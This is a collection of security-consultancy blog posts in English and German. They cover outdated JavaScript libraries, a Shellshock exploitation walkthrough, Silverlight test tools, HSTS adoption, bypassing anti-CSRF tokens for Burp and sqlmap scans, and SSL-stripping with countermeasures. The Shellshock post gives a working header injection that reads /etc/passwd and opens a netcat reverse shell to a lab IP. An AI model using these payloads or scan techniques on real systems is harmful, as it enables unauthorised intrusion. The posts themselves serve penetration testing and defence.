Preventing the Usage of Vulnerable JavaScript Libraries

Overview

In this short informational blog post we would like to

  • point out the dangers of deploying vulnerable third-party JavaScript libraries in web projects and
  • reference 2 tools that check for outdated libraries.

Issue

Recent context of this topic is a new study in which researchers systematically scanned more than 133.000 prominent websites for outdated JavaScript libraries [1]. Result of this study is that more than a third of the scanned websites employ at least one library with a known vulnerability. Many sites even ship JavaScript libraries which have not been updated for years.

Third-party JavaScript libraries are often handy for quickly building up interactive and good-looking web application, but are later forgotten or seen as a static asset. Reluctance to update third-party libraries also originates from the fact that such updates often entail new testing efforts.

However, from a security perspective the world is changing every day. Even for the most widespread libraries, those which are often considered mature and reasonably secure, the publication of a single vulnerability can put thousands of websites at stake from one day to the other. Typical vulnerabilities in JavaScript libraries often allow attackers to perform cross-site scripting attacks and thus impair the security of all website users. A more detailed discussion of risks when employing third-party JavaScript libraries in web application projects can be found on the following OWASP page: [5].

Staying up to date

We recommend to regularly check whether new library versions are available. Ideally, one project member should subscribe to security or announcements newsletters of vital third-party dependencies (if such channels exist). Of course, this task of manually staying up to date is tedious and prone to incidents slipping through the net. Hence, we additionally recommend two little tools here which help to recognise whether outdated third-party libraries are used. Both tools are free software.

Retire.js

Retire.js is a light-weight tool that scans a specified folder for references to vulnerable JavaScript libraries [4]. A list of vulnerable libraries including links to a description of the respective vulnerabilities is shipped with Retire.js. Hence, Retire.js has to be updated regularly (e.g. via git pull). For testing, it can also be integrated into grunt, used as a Chrome or Firefox plugin or inside the HTTP proxies Burp and OWASP Zap.

OWASP Dependency Check

In this regard, we also recommend using “OWASP Dependency Check” [2]. This utility scans a project for dependencies (e.g. all jar files in the project path) and checks those against vulnerability databases (e.g. the well-known NIST CVE database [3]). Currently, it primarily aims at Java and .NET projects. In addition to the simple usage as a command line tool, Dependency Check can be integrated into the automated build process (plugins for Maven, Ant, Gradle and Jenkins are available).

Exploiting Shellshock

A lot of news articles are published currently about a series of Bugs which were found in Bash recently. This Post shows how to easily write a remote exploit for the first of these Bugs (CVE-2014-6271).

Let us first try to understand how this exploit works. The example test code to check if a bash installation is vulnerable which can be found on many sites is the following:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If this code is executed on a vulnerable system, the output will be

vulnerable
this is a test

The command “env” is used to set a specific variable (in this example “$x”) within the environment before our test code ”echo this is a test” is executed. The vulnerability is, that bash interprets the string “() {” as the start of a function and evaluates the function before executing the desired command. Note, that the name of the Variable doesn’t matter for the vulnerability to work.

Let us look, how this can be used to remotely exploit a Webserver which uses bash script to deliver web pages. In order to investigate the things which happen here, we setup a small cgi-script with the following content:

#!/bin/bash
echo
env

If we browse to this page, we get a print of all environment variables which are set during the generation of our webpage. Let us browse to this page and set some extra HTTP Headers in advance. I used the Firefox AddOn “Modify Headers” to add the two HTTP-Headers: Foo: bar and Cookie: spam=ham.

What we see in the response is, that several headers which are coming from the client are set as environment variable during execution. In each of these variables we can inject malicious code. This code will be executed before the webpage is delivered, regardless if it is used or not. Let us assume the Webserver executes the following Hello-World Webpage:

#!/bin/bash
echo
echo "Hello World!"

hello

Note, that the Webpage itself does not use any user input at all. It just statically prints out “Hello World!”. However, as we have seen before bash uses our input.

We can first try to inject the example test code. Note, that we have to add an empty “echo” to the example in order to get the output to the content of the HTTP Request. (Apache will interpret this as a Response Header otherwise.)

Auswahl_010

Instead of doing a simple echo, we can execute arbitrary code at the server like “cat /etc/passwd
Auswahl_011

And of course open a reverse shell:

% echo |nc 192.168.122.27 80 <<EOF
GET /cgi-bin/bash.cgi HTTP/1.1
Host: foo
Foo: () { :; }; /bin/nc -e /bin/bash 192.168.122.1 2222;

EOF

I hope everyone understood now that Shellshock can be exploited very easily. Patches are available and should be installed as soon as possible.

Tools for Testing of Silverlight Applications

Silverlight is a proprietary application framework created by Microsoft in 2007. Its purpose is similar to Flash by Adobe and enables the creation of Rich Internet Applications. Silverlight is available as Plug-In for different browsers (Chrome, Firefox and Internet Explorer) on the Windows and Mac OS platform [1].

In security assessments you might get in touch with an application that is completely implemented in Silverlight. This post shows you some basic tests that can be executed and some tools you can use during an assessment.

Burp Plugins

There are two Plugins available for Burp. In 2011 GDSSecurity published a plugin in Java that is able to encode and decode WCF Binary SOAP data („Content-Type: application/soap+msbin1”) [2].  This plugin is still working in Burp 1.6.03 but the setup does need two instances of Burp connected in series if you want to edit request or response data. This is due to the fact that the plugin can only be used for encoding or decoding in one Burp instance. Therefore one Burp needs to decode the request, then you can edit the request, sent it to the next Burp that will encode the request again as WCF Binary SOAP data. The plugin can be used if you execute the following command within the directory of the plugin to start Burp:

java -Xmx512m -classpath BurpExtender.jar;.<path to burp>\burpsuite_pro_v1.6.03.jar burp.StartBurp

In 2013 Nick Coblentz released a Python plugin for Burp that extended the work done by GDSSecurity so that only one instance of Burp is needed to edit the response and request of Silverlight requests [3]. Before loading the plugin, the location of the Python environment for Java (Jython) needs to be set within in Burp, therefore you need to navigate to „Extender/Options/Pyhton Environment“.  You should download Jython 2.7beta in this case as Jython 2.5 is missing a module that the plugin is using [4]. As next step you can easily load the Pyhton script in Burp via „Extender/Burp Extensions/Add“ and after the plugin has loaded the request and response with „Content-Type: application/soap+msbin1“ will be decoded.

Fiddler

If you are using Fiddler, there is also a third-party extension that can be used to read and modify WCF binary messages that are used by Silverlight. You can download either the extension for Fiddler 2 or Fiddler 4 or modify the source and compile it yourself, as the whole source code is also available [5].

Silverlight Spy / XAML Spy

Besides attacking the communication by using an interception proxy like Burp or Fiddler, there is a tool dedicated for testing Silverlight applications called XAML Spy [6], the successor of Silverlight Spy [7]. In conjunction with .NET Reflector or other third-party decompiler tools it is possible to decompile Silverlight applications, like an application running in the browser or an offline application that is stored on client-side.

Silverlight Spy can be downloaded as a free version [10]. XAML Spy is only available as 21-day test version for evaluation. For productive testing you have to buy a license.

Test cases

When you test a Silverlight application you should have a look at the clientaccesspolicy.xml. There is also some documentation available from Microsoft about „HTTP Communication and Security with Silverlight“ that describes some basic hardening settings [8].

During decompiling a Silverlight application you should also investigate the Isolated Storage, if there is any sensitive information stored.

References

[1] http://en.wikipedia.org/wiki/Microsoft_Silverlight

[2] https://github.com/GDSSecurity/WCF-Binary-SOAP-Plug-In

[3] https://gist.github.com/sekhmetn/4504341

[4] http://www.jython.org/downloads.html

[5] https://github.com/waf/WCF-Binary-Message-Inspector

[6] http://xamlspy.com/

[7] http://firstfloorsoftware.com/silverlightspy

[8] http://msdn.microsoft.com/en-us/library/cc838250(v=vs.95).aspx

[9] http://abhartiya.wordpress.com/2012/07/06/pentesting-silverlight-applications/ 

[10] http://firstfloorsoftware.com/silverlightspy#download

 

Verbreitung von HSTS – Aktualisierung

Zur Beobachtung der Entwicklung von HSTS wurde im Januar und im Februar 2014 eine weitere Analyse zur Verbreitung von HSTS durchgeführt.

Das konkrete Vorgehen zur Durchführung der Analyse ist in Kapitel 1 im Dokument zur Verbreitung von HSTS beschrieben [1]. Zur eigentlichen Durchführung wurden zwei verschiedene Ansätze mit verschiedenen Datengrundlagen gewählt. Die folgenden Ergebnisse konnten mit den zwei verschiedenen Ansätzen gewonnen werden:

1. Auswertung mit Alexa-Liste der Top-1-Million von Oktober 2012

Zum einen wurde die Alexa-Liste der Top-1-Million-Webseiten eingesetzt, die bereits im Oktober 2012 bei der ursprünglichen Auswertung verwendet wurde. Dadurch soll ein direkter Vergleich ermöglicht und die Entwicklung wiedergespiegelt werden (siehe auch [1] für detaillierte Ergebnisse von 2012).

Die Auswertung wurde am 28. und 29.01.2014 durchgeführt. Die Verbreitung des HSTS Headers hat sich unter den untersuchten Seiten bis heute fast vervierfacht. Von ursprünglich 412 ist die Zahl der Webserver, die HSTS anbieten, nun auf insgesamt über 1.400 gestiegen. Die Verteilung der für die max-age-Direktive verwendeten Werte ist dabei nahezu gleich geblieben. Es wird in den meisten Fällen ein Wert von 31.536.000 Sekunden gesetzt, was einem Jahr entspricht.

Gegenüberstellung Auswertung vom Oktober 2012 mit Januar 2014

Gegenüberstellung der Auswertung vom Oktober 2012 mit Januar 2014

2. Auswertung mit Alexa-Liste der Top-1-Million von Februar 2014

Neben der Gegenüberstellung der Auswertungen von Oktober 2012 und Januar 2014 wurde darüber hinaus die Alexa-Top-1-Million-Liste vom 01.02.2014 verwendet, um eine aktuelle Liste zu überprüfen und damit Änderungen in der Rangfolge gerecht zu werden. Die Auswertung wurde am 2. und 3. Februar 2014 durchgeführt. Die Verbreitung von HSTS beläuft sich in diesem Fall auf 1.510 Webseiten, die einen gültigen HSTS-Header ausliefern.  Auch hier wird in den meisten Fällen der Wert 31.536.000 für die max-age-Direktive gewählt.

Auswertung Februar 2014

Auswertung Februar 2014


Referenzen:

[1] Verbreitung von HSTS http://www.securenet.de/fileadmin/papers/HTTP_Strict_Transport_Security_HSTS_Verbreitung.pdf

Automated scanning with Burp despite Anti-CSRF token

The usage of security tokens in Web Applications is increasing rapidly, especially as more and more frameworks support this technique to prevent CSRF attacks. These anti-CSRF tokens are typically used when state-changing actions are executed, like adding a user or confirming your purchasing order.

There are web applications that use anti-CSRF tokens in the whole application. This makes the web application very robust against CSRF attacks, but makes the life of a penetration tester much harder because automated scanning becomes a nuisance.

This tutorial explains how to circumvent the anti-CSRF tokens used in requests, to execute tools like the Burp Intruder, Burp Active Scan and sqlmap.

Intruder Scan

If you want to fuzz a certain parameter in a request that is protected by anti-CSRF tokens there is an easy solution already implemented within Burp.

01

Click on „Add“ to define a new grep item

Just send the request you would like to analyze to the Intruder. Clear all payload positions and only select the value of the anti-CSRF token parameter and the value of the parameter you would like to be analyzed by the Intruder. Also set the attack type to Pitchfork.

In the options tab of the Intruder , the number of threads must be set to „1“, as the attack has to be executed as sequential processing. Otherwise the intruder will mix up valid and used anti-CSRF tokens.

02

Select anti-CSRF token in response

To circumvent an anti-CSRF token in the Intruder, it is sufficient to go to the options tab, click on „Add“ in the Grep-Extract menu and choose the value of the anti-CSRF-token in the „Define extract grep item“ menu. The start and end point will be filled out by Burp automatically after selecting the token and we can click OK.

04

Select payload for parameter to be tested

In the Payloads tab, we now need to select the payload type „Recursive grep“ for the identified anti-CSRF token parameter in the position tab. It is important that you also insert the token that was sent in the last valid response to be used as initial token value for the first request. The second payload can be set to whatever we want to test for.

03

Select payload type and insert value of valid CSRF token

If we start the Intruder now, the parameter can be tested and the initial token is used to create a valid request. The token in the responses to that is extracted by the grep-rule and inserted into the subsequent request.

In case of an error it is likely that the initial token was wrong or was already used. Then, in our browser, we again navigate to the function we would like to test, execute all of the above steps and use the token of the last response of the application in the initial payload field.

There is also an extension available for Burp Intruder to circumvent this kind of anti-CSRF token:

(1)    Burp Extension available to extend Intruder:

http://blog.spiderlabs.com/2012/09/adding-anti-csrf-support-to-burp-suite-intruder.html

Active Scan

Sometimes during testing we encounter applications that already use anti-CSRF tokens during login and for every subsequent request in the application. To automatically scan a certain request in such an application, we have to:

(1)    Get the Login-Page,

(2)    Login to the application,

(3)    Navigate to the function that should be scanned and

(4)    Get the anti-CSRF token that can be used for an automated scan.

05

Add a new session handling rule

Steps 2, 3 and 4 always need the valid token of the last response, otherwise the requests will be invalid. To use tools that execute automatic scans like the Active Scan in Burp or sqlmap, we need to create a session handling rule and a macro to automate the steps (1) to (4) within Burp

06

Select „Run a macro“

We give the Session Handling rule a unique name and select „Run a macro“ in the rule actions section.

To create a new macro we click on „Add“ under „Select macro:“ in the next menu. The macro recorder will start, where we can select the appropriate requests. We must start with a request that does not need a valid token when sent to the application and select all requests until we get to the request we would like to test.

07

Record the „request-chain“

In our case we needed to start at the login, as all other requests needed a token when sent to the application. The first request gets the login page where no token is  required. The second request is a login request with valid user credentials, and the third request directs to the page we wanted to test. To get a valid request chain, the second and third request needs the hidden token of the response before.

08

Configure macro items

We can achieve this by selecting the second request and clicking on „Configure item“. There, we set the parameter that contains the token to be „Derive from prior response“. Usually this setting does not work by itself, we also need to „Add“ a custom parameter. We just select the location of the token value and use the parameter name as name for the custom parameter. This must be done for all subsequent requests.

In the „Session handling action editor“ the anti-CSRF token parameter that needs to be updated should be added explicitly.

09

Update parameter with anti-CSRF token

The scope of the session handling rule should be set to „scanner“. To limit the macro to certain requests we can either use „Use suite scope“ or „Use custom scope“. It is not recommended to set „include all URLs“, as every request in the scanner would then trigger the macro.

11

Set scope for Active Scanner

After the Session Handling rule is created we just need to enable it. As the macro navigates to the page we want to test and gets a valid token for the scanner, you can execute an active scan of this page now. For another page we would need to create a separate macro.

Note:

Every single scanner request will also trigger all the requests we defined in the macro additionally. In the case described above 100 requests of the active scanner would produce 400 requests in total, as every request requires the three requests in the macro. Therefore, the scan will take longer but will also produce more load on the server as many logins will be simulated. So, we should be careful to not overload the server during testing.

sqlmap

The exact same steps as for the Burp Active Scan can also be executed for sqlmap.

10

Set scope for sqlmap

There is just one difference: The scope of the session handling rule should be set to „proxy“. But use this setting with caution, as every request in the proxy will trigger the full macro and thus all requests in it. To limit the macro to certain requests here, it is even more important to set „Use suite scope“ or „Use custom scope“, as described above.

When the Session Handling Rule is activated we can start sqlmap. If we have a POST-request saved to a file we can use:

./sqlmap.py -r request.txt –proxy=http://127.0.0.1:8080

If we have a GET-request we can use:

./sqlmap.py –u „www.target.com/vuln.php?id=1“ –proxy=http://127.0.0.1:8080

References

http://blog.portswigger.net/2011/03/burp-v14-preview-session-handling_25.html

http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-1/

http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-2/

Firefox bekommt auch HSTS-Preloading-Liste

Google hat in Chrome mit Version 13 eine HSTS-Preloadinging-Liste eingeführt. Diese besteht aus einer in der Binary hinterlegten Liste von Domains, die vom Browser ausschließlich über HTTPS angesprochen werden dürfen. Mozillas Firefox übernimmt dieses Feature nun in Version 17 und verwendet dazu auch die vom Chromium-Project gepflegte Liste. Besagte Version befindet sich aktuell im Beta-Stadium.

Die HSTS-Preloading-Listen setzen an einer prinzipiellen Schwachstelle des Strict-Transport-Security-Headers als Schutz gegen SSL-Stripping an: dem ersten Besuch der Seite. Hat ein Benutzer eine Website mit einem Browser noch nie besucht (z.B. auf Grund einer Neuinstallation oder weil ein neues Gerät verwendet wird) oder ist die Dauer des Schutzes vom vorherigen Besuch bereits abgelaufen, so ist der HSTS-Eintrag im Browser noch nicht bzw. nicht mehr vorhanden. Besucht er nun eine Seite über ein unsicheres Netz, kann ein Man-in-the-Middle den HSTS-Header in der ersten Response des Servers entfernen und einen SSL-Stripping-Angriff ausführen. Ist die jeweilige Domain jedoch schon in der HSTS-Preloading-Liste aufgeführt, weiß der Browser auch vor dem ersten Besuch schon, dass diese Seite per HTTPS angesprochen werden muss.

Als Mindestwert für den max-age-Paramter hat Mozilla 10.886.400 Sekunden gewählt. Dies entspricht 18 Wochen und liegt damit unter dem Mindestwert von einem Jahr, den wir im Whitepaper zum Thema empfehlen. Dieser Wert ist allerdings trotzdem deutlich restriktiver als der für die HSTS-Preloding-Liste in Chrome gewählte; dort sind auch Domains mit deutlich geringeren Werten enthalten. Die Umsetzung der HSTS-Preloading-Liste in Firefox ist erfreulich und hat für die Serverbetreiber keine negativen Effekte.

SSL-Stripping, die ignorierte Gefahr.

Wie kann es einem Angreifer gelingen, die Passwörter für sensitive Webanwendungen wie Online-Banking, Webmail-Konten oder Businessportale trotz korrekt angewandter Verschlüsselung (HTTPS) mit einer hohen Erfolgswahrscheinlichkeit zu erspähen – und das bei der großen Mehrzahl aller heutigen Webangebote? Darunter so vermeintlich sichere Vorgänge wie 3-D Secure Payment (der sichere Standard beim Zahlen mit Kreditkarte), Paypal oder ebay?

Die Antwort lautet: Mit einem recht eleganten Trick! Der möglich ist, weil Webserver eine einfache Sicherheitsmaßnahme außer Acht lassen.

Dieser Blogeintrag will Adminstratoren und Verantwortlichen aufzeigen, wie real diese Bedrohung ist und was sie dagegen tun können. Es sei aber vorweg auch gesagt, dass sich beim gegenwärtigen Stand der Browsertechnik die Lücke nicht komplett schließen lässt, wenn nicht zusätzliche Vorkehrungen getroffen werden.

Wie funktioniert der Angriff?

Machen wir den Anfang mit der Darstellung des Angriffs. Das im folgenden Clip dargestellte Szenario ist eines, in das jeder ganz leicht selbst geraten kann. Darin wird der Ablauf eines Online-Einkaufs durchgespielt und gezeigt, wie der Benutzer – je nach gewähltem Bezahlverfahren – am Ende seine Shop-Zugangsdaten, seine kompletten Kreditkarten-Daten oder seinen Paypal-Benutzernamen mit Passwort an den Angreifer verloren hat. Der Angriff ist jedoch bei weitem nicht auf das Onlineshopping beschränkt. Wir hätten statt des hier verwendeten Online-Shops genauso gut einen x-beliebigen anderen Shop oder eine andere Anwendung mit Login oder sensiblen Daten hernehmen können.

Schauen wir uns den Ablauf des Angriffs aus Sicht des Benutzers an und blenden parallel dazu ein, was der Angreifer im selben Moment auf seinem Bildschirm angezeigt bekommt:

Noch einmal: Der Trick beruht zum einen darauf, dass die initiale Verbindung unverschlüsselt abläuft und der als Man-in-the-Middle (MitM) arbeitende Angreifer somit in der Lage ist, jeden HTTPS-Link, den der Server zurückliefert, in einen HTTP-Link umzuwandeln und damit die Verbindung zwischen sich und dem Benutzer über die gesamte Dauer unverschlüsselt zu halten. Zum anderen beruht der Angriff darauf, dass der MitM den anderen Teil der Verbindung, also die zum Server, per HTTPS durchführt und der Server somit keine Chance hat, den Angriff zu erkennen und abzuwehren.

Damit hängt der Angriff natürlich ganz entscheidend davon ab, dass der Benutzer nicht darauf achtet, dass er die ganze Zeit per HTTP statt wie gewohnt per HTTPS kommuniziert. Würde die Verbindung zwischen MitM und Browser per HTTPS ablaufen, so würde der Browser das Vorhandensein eines MitM erkennen und dem Benutzer eine entsprechende Warnung zeigen. Denn die Sicherstellung der Authentizität des Servers ist neben der Verschlüsselung die zweite wichtige Eigenschaft von SSL, auf welche die Sicherheit der Browser-Server-Kommunikation sich stützt. Mit dem gezeigten Angriff wird das geschickt ausgehebelt.

Ist der Benutzer selbst schuld?

Man könnte sich nun auf den Standpunkt stellen „Naja, da muss der Benutzer halt aufpassen“. Aber das ist sicher zu kurz gegriffen, wie leicht zu erkennen ist, wenn man diesen Zusammenhang in den Alltag überträgt: Würde an einer Verkehrsampel ein Schalter zum Umschalten der Signalisierung an einer mit wenig Anstrengung zugänglichen Stelle angebracht sein, so würde man auch nicht den Autofahrer verurteilen, der bei grün ohne nach links und rechts zu schauen über die Kreuzung fährt und dann mit dem Querverkehr kollidiert. Selbstverständlich wird denjenige zur Verantwortung gezogen, der eine so schlecht vor Missbrauch geschützte Ampel aufstellt.

Wie leicht hat es der Angreifer?

Damit der Angriff vonstatten gehen kann, muss die Kommunikation des Benutzers über den Rechner des Angreifers geleitet werden. Der Angreifer kann diese Voraussetzung auf verschiedene Weisen herstellen, was, abhängig von der Umgebung, sehr leicht bis weniger leicht aber immer noch möglich, sein kann.

Am einfachsten lässt sich die benötigte Voraussetzung wohl auf die im Video dargestellte Weise herstellen: Der Angreifer positioniert sich an einem Ort wo gewartet – zB. am Flughafen – oder gechillt – zB. im Straßencafe – wird, oder wo man sich halbwegs sicher fühlt, z. B. im Hotel. Hier bietet er mit seinem Laptop einen öffentlichen Hotspot an. Wenn dieser mit einem unverfänglichen Namen wie „FreePublicHotspot“ oder „GuestAccess“ daher kommt, kann er davon ausgehen, dass das Angebot gerne angenommen wird. Die Erfolgsquote ist letztlich wohl nur noch davon abhängig, wie glaubwürdig das Ganze daherkommt.

Aber auch in kabelgebundenen Netzen ist man nicht automatisch sicher. Befinden Angreifer und Benutzer sich im selben Netzwerksegment, so kann der Angreifer den Rechner des Benutzers mittels eines ARP-Spoofing Angriffs dazu bringen, dass dieser seine Kommunikation an den Angriffsrechner zur Weiterleitung ins Internet übergibt, sofern nicht spezielle Netzwerkgeräte oder -überwachung dies unterbindet.

Der Angriff selbst erfordert nicht sehr viel technisches Wissen. Im Internet kursieren detaillierte Anleitungen und ein auch von Programmierlaien leicht zu verwendendes Tool vom Entdecker dieser Schwachstelle.

Welche Schadensszenarien bestehen?

Neben dem hier beschriebenen Szenario, welches höchst sensitive Zahlungsdaten freilegt, ist als weitere Gefahr an oberster Stelle der Zugriff auf das Email-Konto (wenn es per Webmailer angesprochen wird) oder das Soziale Netzwerk (Facebook, Google+, Xing, LinkedIn etc) zu nennen. Siehe dazu auch die Nutzerbefragung von Google, wonach von den meisten Nutzern das Emailkonto als kostbarstes Online-Gut angesehen wird.

Ein weites Feld mit hohen Begehrlichkeiten ist sicher auch der gesamte E-Business-Bereich. Das Eindringen in das Konto des Wettbewerbers im Partnerportal des gemeinsamen Auftraggebers oder in dessen mit einem Webzugang ausgestattetes CRM-System sind sicher realistische Angriffsszenarien.

Was lässt sich serverseitig dagegen tun?

Wir haben es bei diesem Sachverhalt mit einem tief in der Webtechnik steckenden Designproblem zu tun. Insofern ist ein komplettes Schließen dieser Lücke sobald nicht zu erwarten. Aber es existieren Mittel, die die Erfolgsquote eines Angriffs signifikant herabsetzen. Und diese sollten von den Webanwendungsbetreibern unter allen Umständen zum Einsatz gebracht werden!

An erster Stelle steht die Einschaltung des HSTS-Schutzes. Dahinter verbirgt sich die Möglichkeit des Servers, den Browser zu zwingen, dass er ihm niemals einen HTTP-Link, sondern immer nur HTTPS-Links, schickt. Selbst wenn der Benutzer auf einen HTTP-Link klickt, wird dieser vom Browser in den sicheren HTTPS-Link umgewandelt.

Diese und weitere Gegenmaßnahmen sind in dem Whitepaper zu HSTS erläutert.

Was hilft serverseitig nicht?

Die sensible Webanwendung nur per HTTPS zur Verfügung zu stellen, dh. auf einen HTTP-Request ein Redirect auf HTTPS oder gar keine Antwort zu geben, löst das Problem nicht. Denn der MitM sorgt dafür, dass die HTTP-Requests des Browsers den Server korrekt als HTTPS-Requests erreichen.

Welche Lücken bleiben trotz HSTS bestehen?

  •  Microsofts IE9 und auch IE10 unterstützen HSTS nicht. Deren Nutzer sind also auch bei HSTS-geschützten Seiten komplett ungeschützt!
  • Findet der erstmalige Aufbau einer Verbindung zu einer HSTS-geschützten Website bereits über ein Angreifer-Gateway – den MitM – statt, so „weiss“ der Browser noch nicht, dass HTTP-Zugriffe zu diesem Host nicht zugelassen sind. Er kann den initialen HTTP-Zugriff damit auch nicht unterbinden und der MitM hat wieder freie Bahn – denn er sorgt natürlich dafür, dass der HSTS-Header den Browser nie erreicht!

Wie lässt sich der Angriff benutzerseitig verhindern?

HSTS-Schutz bieten gegenwärtig nur wenige Websites (siehe die Untersuchung zur Verbreitung von HSTS im Nov. 2012). Ein jeder muss daher selbst dafür sorgen, dass er nicht zum Angriffsopfer wird.

  • Unbedingt auf das Schloss in der Adressleiste achten und niemals schützenswerte Informationen in ein Formlar ohne Schloss in der Adressleiste eingeben. Das ist leichter gesagt als getan, denn gerade beim Login wird häufig so verfahren, dass das Formular selbst sich auf der unverschlüssselt ausgelieferten Homepage befindet, wie in diesem Beispiel gezeigt:
  • Um dem aus dem Weg zu gehen, Firefox oder Chrome mit HTTPS Everywhere– oder noscript-Plugin verwenden und diese entsprechend konfigurieren
  • Die Best-Practice für Firmen, die verhindern wollen, dass ihre Mitarbeiter durch Fehlverhalten in der hier beschriebenen Weise zum Sicherheitsrisiko werden, lautet: Die Unterwegs-Laptops und Homeoffice-PCs der Mitarbeiter sind per VPN ins Unternehmens-LAN zu zwingen. Dann wird jeder Verbindungsaufbau des Browsers, egal ob HTTP oder HTTPS, unangreifbar durch den geschützten Kanal ins Firmennetz gezwungen und von dort aus zum jeweiligen Webserver geleitet.
  • Internet Explorer und Safari meiden, solange diese HSTS nicht unterstützen

Wo besteht keine Gefahr?

Mobile Apps, die für den Serverzugriff fest eingebaute Links verwenden, sind nicht gefährdet. Das ist in der Regel bei einer Native App der Fall. Wird hingegen das Zugriffsziel als URL in der Serverantwort ermittelt, besteht dasselbe Problem wie bei den Browsern.

Weiterführende Links

HSTS Whitepaper: http://www.securenet.de/fileadmin/papers/HTTP_Strict_Transport_Security_HSTS_Whitepaper.pdf

OWASP-Hinweise zum Thema (zum Zeitpunkt der Veröffentlichung dieses Posts leider noch nicht sehr ausgeprägt): https://www.owasp.org/index.php/HTTP_Strict_Transport_Security

Untersuchung zur Verbreitung von HSTS: http://www.securenet.de/fileadmin/papers/HTTP_Strict_Transport_Security_HSTS_Verbreitung.pdf